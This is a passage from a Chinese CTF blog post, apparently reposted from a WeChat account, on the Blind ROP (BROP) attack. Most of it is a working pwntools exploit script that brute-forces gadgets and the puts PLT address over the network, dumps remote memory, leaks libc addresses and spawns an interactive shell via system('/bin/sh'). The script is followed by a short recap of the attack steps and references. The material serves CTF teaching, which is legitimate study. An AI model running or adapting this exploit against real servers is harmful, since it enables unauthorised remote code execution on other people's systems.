log.info("not 0x%x, try harder", main_addr)
except Exception:
log.info("connect error")
main_addr -= 1

# 这个函数获取 pop rdi; ret ,主要是使用 ret2csu
def get_useful_gadget(buf_size, stop_gadget, main_addr, start_addr=0x400000):
useful_gadget = start_addr
stop_gadget = stop_gadget
main_addr = main_addr

while True:
# time.sleep(0.5)
useful_gadget += 1

payload = b'a' * buf_size + p64(useful_gadget) + p64(1) * 6 + p64(main_addr)
try:
r = remote(IP, PORT)
r.recvline()
r.send(payload)
resp = r.recv(timeout=0.5)
r.close()
log.info("find one stop_gadget: 0x%x", useful_gadget)

if resp.startswith(b'WelCome'):
try:
payload = b'a' * buf_size + p64(useful_gadget) + p64(1) * 6
r = remote(IP, PORT)
r.recvline()
r.send(payload)
r.recv()
r.close()
except EOFError as e:
r.close()
log.info("find useful gadget: 0x%x", useful_gadget)
return useful_gadget

except EOFError as e:
r.close()
log.info("not 0x%x,try harder", useful_gadget)

except Exception:
log.info("connect error")
useful_gadget -= 1

# 这个函数用来获取 puts 函数的 plt 地址
# 0x400000 这个地址的值是 x7fELF ,我们可以利用这个特点遍历 puts 的 plt

def get_puts_plt(buf_size, stop_gadget, main_addr, useful_gadget, start_addr=0x400000):
pop_rdi_ret = useful_gadget + 9
elf_magic_addr = 0x400000
puts_plt = start_addr

while True:
# time.sleep(0.5)
puts_plt += 1
# puts_plt = 0x400550
payload = b'a' * buf_size + p64(pop_rdi_ret) + p64(elf_magic_addr) + p64(puts_plt) + p64(main_addr)

try:
r = remote(IP, PORT)
r.recvline()
r.send(payload)
resp1 = r.recvline(timeout=0.5)
resp2 = r.recvline(timeout=0.5)
# print(resp1)
# print(resp2)
# print(resp1.startswith(b'x7fELF'))
# print(resp2.startswith(b'WelCome'))

# log.info("find one stop gadget: 0x%x", puts_plt)

if resp1.startswith(b'x7fELF') and resp2.startswith(b'WelCome'):
r.close()
log.info("puts_plt: 0x%x", puts_plt)
return puts_plt
r.close()
log.info("find one stop gadget: 0x%x", puts_plt)

except EOFError as e:
r.close()
log.info("not 0x%x, try harder", puts_plt)

except Exception:
log.info("connect error")
puts_plt -= 1

# 这个函数用来 dump 内存
def dump_memory(buf_size, stop_gadget, main_addr, useful_gadget, puts_plt, start_addr=0x400000, end_addr=0x401000):
pop_rdi_ret = useful_gadget + 9

result = b''
while start_addr < end_addr:
sleep(0.3)
# start_addr = 0x400038
payload = b'a' * buf_size
payload += p64(pop_rdi_ret)
payload += p64(start_addr)
payload += p64(puts_plt)
payload += p64(stop_gadget)

try:
r = remote(IP, PORT)
r.recvline()
r.sendline(payload)
resp1 = r.recv(timeout=0.5)
# log.info("[++++]leaking: 0x%x --> %s" % (start_addr, (resp or b'').hex()))
# if start_addr == 0x40003e: # and start_addr <= 0x40003b:
# log.info("[++++]leaking: 0x%x --> %s" % (start_addr, (resp1 or b'').hex()))
# exit()


if resp1 == b'n':
resp = b'x00'
elif resp1[-1:] == b'n':
log.info("[tail]leaking: 0x%x --> %s" % (start_addr, (resp or b'').hex()))
resp = resp1[:-1] + b'x00'
else:
resp =resp1

if resp != resp1:
log.info("[change]resp1: 0x%x: %s --> resp1: 0x%x: %s" % (start_addr, (resp1 or b'').hex(), start_addr, (resp or b'').hex()))

log.info("leaking: 0x%x --> %s" % (start_addr, (resp or b'').hex()))
result += resp
start_addr += len(resp)
r.close()
except Exception as e:
print(e)
log.info("connect error")

return result

# 这个函数用来 getshell
def get_shell(buf_size, stop_gadget, useful_gadget, main_addr, puts_plt, puts_got):
pop_rdi_ret = useful_gadget + 9

payload = b'a' * buf_size
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)

try:
r = remote(IP, PORT)
r.recvline()
r.send(payload)
resp = r.recvline(timeout=0.5)
puts_addr = u64(resp[:-1] + b'x00x00')

offset_puts = 0x80aa0
offset_system = 0x4f550
offset_bin_sh = 0x1b3e1a

system_addr = puts_addr - offset_puts + offset_system
bin_sh_addr = puts_addr - offset_puts + offset_bin_sh

payload = b'a' * buf_size
# payload += p64(0x000000000040053e)
payload += p64(useful_gadget + 10)
payload += p64(pop_rdi_ret)
payload += p64(bin_sh_addr)
payload += p64(system_addr)
payload += p64(stop_gadget)

# r.close()
r.recvline()
r.sendline(payload)
r.interactive()

# log.info("puts_addr: 0x%x", puts_addr)
# return puts_addr
except Exception as e:
print(e)
log.info("connect error")


if __name__ == '__main__':
print("Pwn it!")
IP = '127.0.0.1'
PORT = 10001

# buf_size = get_buf_size()
buf_size = 72

# stop_gadget = get_stop_gadget(buf_size)
stop_gadget = 0x400545

# main_addr = get_main_addr(buf_size)
# main_addr = 0x400677
main_addr = 0x400590

# useful_gadget = get_useful_gadget(buf_size, stop_gadget, main_addr, 0x400590)
useful_gadget = 0x40078a

# puts_plt = get_puts_plt(buf_size, stop_gadget, main_addr, useful_gadget)
puts_plt = 0x400545

'''
end_addr = 0x401000
code_bin = dump_memory(buf_size, stop_gadget, main_addr, useful_gadget, puts_plt, start_addr=0x400000, end_addr=end_addr)
with open('code.dump', 'wb') as f:
f.write(code_bin)
'''


'''
radare2 获取 puts got 地址
'''


puts_got = 0x00601018

get_shell(buf_size, stop_gadget, useful_gadget, main_addr,puts_plt,puts_got)

回顾

BROP 的攻击过程总结如下:

  • 确定填充字符数

  • 找到一个 stop_gadget

  • 找到 main函数地址【可有可无,我很喜欢有】

  • 获取 useful_gadget

  • 确定 puts 函数的 plt 地址

  • dump 内存

  • r2 获取 puts 函数的 got 地址

  • 获取 system 函数和 /bin/sh 字符串的偏移

  • 正常ROP getshell

参考资料

https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/6.1.1_pwn_hctf2016_brop.html

https://github.com/zh-explorer/hctf2016-brop

http://www.scs.stanford.edu/brop/



往期文章

学完ELF人间清醒的总结 | Linux 二进制



BROP 攻击技术 | PWN

有态度,不苟同


原文始发于微信公众号(NOP Team):BROP 攻击技术 | PWN

版权声明:admin 发表于 2022年1月28日 下午1:00。
转载请注明:BROP 攻击技术 | PWN | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...